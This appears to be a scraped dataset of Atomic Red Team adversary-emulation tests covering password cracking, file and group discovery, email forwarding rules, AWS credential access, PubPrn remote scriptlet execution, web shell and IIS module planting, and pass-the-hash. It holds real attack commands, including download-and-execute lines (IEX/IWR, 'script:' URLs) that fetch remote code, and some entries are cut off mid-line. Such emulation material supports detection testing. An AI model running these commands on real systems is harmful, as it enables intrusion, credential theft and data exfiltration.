deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1110.002: Brute Force: Password Cracking
Test: Password Cracking with Hashcat
Platforms: windows
Executor: command_prompt

Description:
Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against

Command:
cd #{hashcat_exe}\..
#{hashcat_exe} -a 0 -m 1000 -r .\rules\Incisive-leetspeak.rule #{input_file_sam} #{input_file_passwords}

Cleanup:
del "PathToAtomicsFolder\..\ExternalPayloads\hashcat6.7z" >nul 2>&1
del "PathToAtomicsFolder\..\ExternalPayloads\7z1900.exe" >nul 2>&1
del "PathToAtomicsFolder\..\ExternalPayloads\7z" /Q /S >nul 2>&1
del "PathToAtomicsFolder\..\ExternalPayloads\hashcat-unzip" /Q /S >nul 2>&1

Dependencies:
Hashcat must exist on disk at specified location (#{hashcat_exe})
Atomic Red Team — T1083: File and Directory Discovery
Test: File and Directory Discovery (cmd.exe)
Platforms: windows
Executor: command_prompt

Description:
Find or discover files on the file system.  Upon successful execution, this test will output the results of all the data discovery commands to a specified file.


Command:
dir /s c:\ >> #{output_file}
dir /s "c:\Documents and Settings" >> #{output_file}
dir /s "c:\Program Files\" >> #{output_file}
dir "%systemdrive%\Users\*.*" >> #{output_file}
dir "%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\*.*" >> #{output_file}
dir "%userprofile%\Desktop\*.*" >> #{output_file}
tree /F >> #{output_file}


Cleanup:
del #{output_file}
Atomic Red Team — T1083: File and Directory Discovery
Test: File and Directory Discovery (PowerShell)
Platforms: windows
Executor: powershell

Description:
Find or discover files on the file system. Upon execution, file and folder information will be displayed.


Command:
ls -recurse
get-childitem -recurse
gci -recurse
Atomic Red Team — T1083: File and Directory Discovery
Test: Nix File and Directory Discovery
Platforms: linux, macos
Executor: sh

Description:
Find or discover files on the file system

References:

http://osxdaily.com/2013/01/29/list-all-files-subdirectory-contents-recursively/

https://perishablepress.com/list-files-folders-recursively-terminal/


Command:
ls -a >> #{output_file}
if [ -d /Library/Preferences/ ]; then ls -la /Library/Preferences/ > #{output_file}; fi;
file */* *>> #{output_file}
cat #{output_file} 2>/dev/null
find . -type f
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'
locate *
which sh


Cleanup:
rm #{output_file}
Atomic Red Team — T1083: File and Directory Discovery
Test: Nix File and Directory Discovery 2
Platforms: linux, macos
Executor: sh

Description:
Find or discover files on the file system


Command:
cd $HOME && find . -print | sed -e 's;[^/]*/;|__;g;s;__|; |;g' > #{output_file}
if [ -f /etc/mtab ]; then cat /etc/mtab >> #{output_file}; fi;
find . -type f -iname *.pdf >> #{output_file}
cat #{output_file}
find . -type f -name ".*"


Cleanup:
rm #{output_file}
Atomic Red Team — T1083: File and Directory Discovery
Test: Simulating MAZE Directory Enumeration
Platforms: windows
Executor: powershell

Description:
This test emulates MAZE ransomware's ability to enumerate directories using Powershell.
Upon successful execution, this test will output the directory enumeration results to a specified file, as well as display them in the active window.
See https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents


Command:
$folderarray = @("Desktop", "Downloads", "Documents", "AppData/Local", "AppData/Roaming")
Get-ChildItem -Path $env:homedrive -ErrorAction SilentlyContinue | Out-File -append #{File_to_output}
Get-ChildItem -Path $env:programfiles -erroraction silentlycontinue | Out-File -append #{File_to_output}
Get-ChildItem -Path "${env:ProgramFiles(x86)}" -erroraction silentlycontinue | Out-File -append #{File_to_output}
$UsersFolder = "$env:homedrive\Users\"
foreach ($directory in Get-ChildItem -Path $UsersFolder -ErrorAction SilentlyContinue)
{
foreach ($secondarydirectory in $folderarray)
 {Get-ChildItem -Path "$UsersFolder/$directory/$secondarydirectory" -ErrorAction SilentlyContinue | Out-File -append #{File_to_output}}
}
cat #{File_to_output}


Cleanup:
remove-item #{File_to_output} -ErrorAction SilentlyContinue
Atomic Red Team — T1083: File and Directory Discovery
Test: Launch DirLister Executable
Platforms: windows
Executor: powershell

Description:
Launches the DirLister executable for a short period of time and then exits.

Recently seen used by [BlackCat ransomware](https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/) to create a list of accessible directories and files.

Command:
Start-Process "#{dirlister_path}"
Start-Sleep -Second 4
Stop-Process -Name "DirLister"


Dependencies:
DirLister.exe must exist in the specified path #{dirlister_path}
Atomic Red Team — T1083: File and Directory Discovery
Test: ESXi - Enumerate VMDKs available on an ESXi Host
Platforms: windows
Executor: command_prompt

Description:
An adversary uses the find command to enumerate vmdks on an ESXi host.
[Reference](https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/)


Command:
echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}"


Dependencies:
Check if plink is available.
Atomic Red Team — T1083: File and Directory Discovery
Test: Identifying Network Shares - Linux
Platforms: linux
Executor: sh

Description:
If the system uses network file systems (e.g., NFS, CIFS), findmnt can help locate paths to remote shares.
Attackers may then attempt to access these shares for lateral movement or data exfiltration.


Command:
findmnt -t nfs
Atomic Red Team — T1083: File and Directory Discovery
Test: Recursive Enumerate Files And Directories By Powershell
Platforms: windows
Executor: powershell

Description:
Adversary attempting to discover and collect sensitive documents and archives
from a user’s system. The test recursively enumerates common user folders
(Documents, Downloads, Desktop, OneDrive) for file types of interest such as .pdf, .doc,
.docx, .xls, .xlsx, .txt, .zip, .rar, and .7z.
This behavior is similar to malware like LOSTKEYS used by COLDRIVER in January 2025,
where attackers perform targeted file discovery to support strategic intelligence collection https://www.zscaler.com/blogs/security-research/coldriver-updates-arsenal-baitswitch-and-simplefix.


Command:
$out = "#{output_file}"
$dirsFilter = @('Documents','Downloads','Desktop','OneDrive')
$exts = @('.pdf','.doc','.docx','.xls','.xlsx','.txt','.zip','.rar','.7z')
$userProfile = [Environment]::GetFolderPath('UserProfile')
$tr = [System.Collections.Generic.List[string]]::new()

function MatchesExtension($path) {
  try {
    $e = [System.IO.Path]::GetExtension($path).ToLower()
    return $exts -contains $e
  } catch { return $false }
}

function Scan-Dir($root) {
  try {
    $match = $false
    foreach ($f in $dirsFilter) { if ($root -like "*$f*") { $match = $true; break } }
    if (-not $match) { return }

    [System.IO.Directory]::EnumerateFiles($root) | ForEach-Object {
      if (MatchesExtension $_) {
        $fi = [System.IO.FileInfo]::new($_)
        $tr.Add("[File] $_ Size:$($fi.Length

Cleanup:
Remove-Item -Path "#{output_file}" -ErrorAction SilentlyContinue
Atomic Red Team — T1114.003: Email Collection: Email Forwarding Rule
Test: Office365 - Email Forwarding
Platforms: office-365
Executor: powershell

Description:
Creates a new Inbox Rule to forward emails to an external user via the "ForwardTo" property of the New-InboxRule Powershell cmdlet.


Command:
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
New-InboxRule -Name "#{rule_name}" -ForwardTo "#{forwarding_email}"


Cleanup:
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
Get-InboxRule | Where-Object { $_.Name -eq "#{rule_name}" | ForEach-Object { Remov

Dependencies:
ExchangeOnlineManagement PowerShell module must be installed. Your user must also have an Exchange license.
Atomic Red Team — T1552: Unsecured Credentials
Test: AWS - Retrieve EC2 Password Data using stratus
Platforms: linux, macos, iaas:aws
Executor: sh

Description:
This atomic runs an API call GetPasswordData from a role that does not have permission to do so. This simulates an attacker attempting to retrieve RDP passwords on a high number of Windows EC2 instances. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.credential-access.ec2-get-password-data/


Command:
export AWS_REGION=#{aws_region} 
cd #{stratus_path}
echo "starting warmup"
./stratus warmup aws.credential-access.ec2-get-password-data
echo "starting detonate"
./stratus detonate aws.credential-access.ec2-get-password-data --force


Cleanup:
export AWS_REGION=#{aws_region}
echo "Cleanup detonation"
cd #{stratus_path}
./stratus cleanup --all
rm -rf stratus*


Dependencies:
Stratus binary must be present at the (#{stratus_path}/stratus)

Check if ~/.aws/credentials file has a default stanza is configured
Atomic Red Team — T1552: Unsecured Credentials
Test: Search for Passwords in Powershell History
Platforms: windows
Executor: powershell

Description:
Find passwords in the powershell history files
Searching for following strings: "password", "-p", "key", "pwd", "pass"


Command:
ls -R C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt | Select-String "password", "-p", "key", "pwd", "pass"
Atomic Red Team — T1216.001: Signed Script Proxy Execution: Pubprn
Test: PubPrn.vbs Signed Script Bypass
Platforms: windows
Executor: command_prompt

Description:
Executes the signed PubPrn.vbs script with options to download and execute an arbitrary payload.


Command:
cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:#{remote_payload}"
# T1216.001 - Signed Script Proxy Execution: Pubprn

## Description from ATT&CK

> Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)
> 
> Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
> 
> In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).

[Source](https://attack.mitre.org/techniques/T1216/001)

## Atomic Tests

- [Atomic Test #1: PubPrn.vbs Signed Script Bypass](#atomic-test-1-pubprnvbs-signed-script-bypass)

### Atomic Test #1: PubPrn.vbs Signed Script Bypass

Executes the signed PubPrn.vbs script with options to download and execute an arbitrary payload.

**Supported Platforms:** Windows

**auto_generated_guid:** `9dd29a1f-1e16-4862-be83-913b10a88f6c`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| remote_payload | A remote payload to execute using PubPrn.vbs. | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct|

#### Attack Commands: Run with `command_prompt`!

```cmd
cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:#{remote_payload}"
```
Atomic Red Team — T1069.001: Permission Groups Discovery: Local Groups
Test: Permission Groups Discovery (Local)
Platforms: linux, macos
Executor: sh

Description:
Permission Groups Discovery


Command:
if [ -x "$(command -v dscacheutil)" ]; then dscacheutil -q group; else echo "dscacheutil is missing from the machine. skipping..."; fi;
if [ -x "$(command -v dscl)" ]; then dscl . -list /Groups; else echo "dscl is missing from the machine. skipping..."; fi;
if [ -x "$(command -v groups)" ]; then groups; else echo "groups is missing from the machine. skipping..."; fi;
if [ -x "$(command -v id)" ]; then id; else echo "id is missing from the machine. skipping..."; fi;
if [ -x "$(command -v getent)" ]; then getent group; else echo "getent is missing from the machine. skipping..."; fi;
cat /etc/group
Atomic Red Team — T1069.001: Permission Groups Discovery: Local Groups
Test: Basic Permission Groups Discovery Windows (Local)
Platforms: windows
Executor: command_prompt

Description:
Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
information will be displayed.


Command:
net localgroup
net localgroup "Administrators"
Atomic Red Team — T1069.001: Permission Groups Discovery: Local Groups
Test: Permission Groups Discovery PowerShell (Local)
Platforms: windows
Executor: powershell

Description:
Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
information will be displayed.


Command:
get-localgroup
Get-LocalGroupMember -Name "Administrators"
Atomic Red Team — T1069.001: Permission Groups Discovery: Local Groups
Test: SharpHound3 - LocalAdmin
Platforms: windows
Executor: powershell

Description:
This module runs the Windows executable of SharpHound in order to remotely list members of the local Administrators group (SAMR)


Command:
New-Item -Path "#{output_path}" -ItemType Directory > $null
& "#{sharphound_path}" -d "#{domain}" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory "#{output_path}"


Cleanup:
Remove-Item -Recurse #{output_path} -ErrorAction Ignore


Dependencies:
SharpHound binary must exist on disk and at specified location (#{sharphound_path}).
And the computer must be domain joined (implicit authentication).
Atomic Red Team — T1069.001: Permission Groups Discovery: Local Groups
Test: Wmic Group Discovery
Platforms: windows
Executor: command_prompt

Description:
Utilizing wmic.exe to enumerate groups on the local system. Upon execution, information will be displayed of local groups on system.


Command:
wmic group get name
Atomic Red Team — T1069.001: Permission Groups Discovery: Local Groups
Test: WMIObject Group Discovery
Platforms: windows
Executor: powershell

Description:
Utilizing PowerShell cmdlet - get-wmiobject, to enumerate local groups on the endpoint. Upon execution, Upon execution, information will be displayed of local groups on system.


Command:
Get-WMIObject Win32_Group
Atomic Red Team — T1069.001: Permission Groups Discovery: Local Groups
Test: Permission Groups Discovery for Containers- Local Groups
Platforms: containers
Executor: sh

Description:
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and vulnerability scans in order to obtain this information.

Command:
docker build -t t1069 $PathtoAtomicsFolder/T1069.001/src/
docker run --name t1069_container --rm -d -t t1069
docker exec t1069_container ./test.sh

Cleanup:
docker stop t1069_container
docker rmi -f t1069

Dependencies:
Verify docker is installed.
Verify docker service is running.
Atomic Red Team — T1505.003: Server Software Component: Web Shell
Test: Web Shell Written to Disk
Platforms: windows
Executor: command_prompt

Description:
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk.
Idea from APTSimulator.
cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx


Command:
xcopy /I /Y "#{web_shells}" #{web_shell_path}


Cleanup:
del #{web_shell_path}\b.jsp /q >nul 2>&1
del #{web_shell_path}\tests.jsp /q >nul 2>&1
del #{web_shell_path}\cmd.aspx /q >nul 2>&1


Dependencies:
Web shell must exist on disk at specified location (#{web_shells})
# T1505.003 - Server Software Component: Web Shell

## Description from ATT&CK

> Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)
> 
> In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013)

[Source](https://attack.mitre.org/techniques/T1505/003)

## Atomic Tests

- [Atomic Test #1: Web Shell Written to Disk](#atomic-test-1-web-shell-written-to-disk)

### Atomic Test #1: Web Shell Written to Disk

This test simulates an adversary leveraging Web Shells by simulating the file modification to disk.
Idea from APTSimulator.
cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx

**Supported Platforms:** Windows

**auto_generated_guid:** `0a2ce662-1efa-496f-a472-2fe7b080db16`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| web_shell_path | The path to drop the web shell | string | C:&#92;inetpub&#92;wwwroot|
| web_shells | Path of Web Shell | path | PathToAtomicsFolder&#92;T1505.003&#92;src|

#### Attack Commands: Run with `command_prompt`!

```cmd
xcopy /I /Y "#{web_shells}" #{web_shell_path}
```

#### Cleanup Commands

```cmd
del #{web_shell_path}\b.jsp /q >nul 2>&1
del #{web_shell_path}\tests.jsp /q >nul 2>&1
del #{web_shell_path}\cmd.aspx /q >nul 2>&1
```

#### Dependencies: Run with `powershell`!

##### Description: Web shell must exist on disk at specified location (#{web_shells})

###### Check Prereq Commands

```powershell
if (Test-Path "#{web_shells}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory "#{web_shells}" -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/b.jsp" -OutFile "#{web_shells}/b.jsp"
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/tests.jsp" -OutFile "#{web_shells}/tests.jsp"
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/cmd.aspx" -OutFile "#{web_shells}/cmd.aspx"
```
Atomic Red Team — T1505.004: IIS Components
Test: Install IIS Module using AppCmd.exe
Platforms: windows
Executor: command_prompt

Description:
The following Atomic will utilize AppCmd.exe to install a new IIS Module. IIS must be installed.
This atomic utilizes a DLL on disk, but to test further suspiciousness, compile and load [IIS-Raid](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/).
A successful execution will install a module into IIS using AppCmd.exe.
[Managing and installing Modules Reference](https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview#to-install-a-module-using-appcmdexe)
[IIS Modules](https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/)


Command:
%windir%\system32\inetsrv\appcmd.exe install module /name:#{module_name} /image:#{dll_path}


Cleanup:
%windir%\system32\inetsrv\appcmd.exe uninstall module #{module_name}


Dependencies:
IIS must be installed in order to add a module to IIS.
Atomic Red Team — T1505.004: IIS Components
Test: Install IIS Module using PowerShell Cmdlet New-WebGlobalModule
Platforms: windows
Executor: powershell

Description:
The following Atomic will utilize PowerShell Cmdlet New-WebGlobalModule to install a new IIS Module. IIS must be installed.
This atomic utilizes a DLL on disk, but to test further suspiciousness, compile and load [IIS-Raid](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/).
A successful execution will install a module into IIS using New-WebGlobalModule.
[Managing IIS Modules with PowerShell](https://learn.microsoft.com/en-us/powershell/module/webadministration/set-webglobalmodule?view=windowsserver2022-ps)
[IIS Modules](https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/)


Command:
New-WebGlobalModule -Name #{module_name} -Image #{dll_path}


Cleanup:
Remove-WebGlobalModule -Name #{module_name}


Dependencies:
IIS must be installed in order to add a module to IIS.
Atomic Red Team — T1550.002: Use Alternate Authentication Material: Pass the Hash
Test: Mimikatz Pass the Hash
Platforms: windows
Executor: command_prompt

Description:
Note: must dump hashes first
[Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)


Command:
#{mimikatz_path} "sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm}"


Dependencies:
Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})
Atomic Red Team — T1550.002: Use Alternate Authentication Material: Pass the Hash
Test: crackmapexec Pass the Hash
Platforms: windows
Executor: command_prompt

Description:
command execute with crackmapexec


Command:
#{crackmapexec_exe} #{domain} -u #{user_name} -H #{ntlm} -x #{command}


Dependencies:
CrackMapExec executor must exist on disk at specified location (#{crackmapexec_exe})
Atomic Red Team — T1550.002: Use Alternate Authentication Material: Pass the Hash
Test: Invoke-WMIExec Pass the Hash
Platforms: windows
Executor: powershell

Description:
Use Invoke-WMIExec to Pass the Hash
Note: must dump hashes first
[Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)

Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/01ee90f934313acc7d[PII_REDACTED]3c18694ed0eb/Invoke-WMIExec.ps1' -UseBasicParsing);Invoke-WMIExec -Target #{target} -Username #{user_name} -Hash #{ntlm} -Command #{command}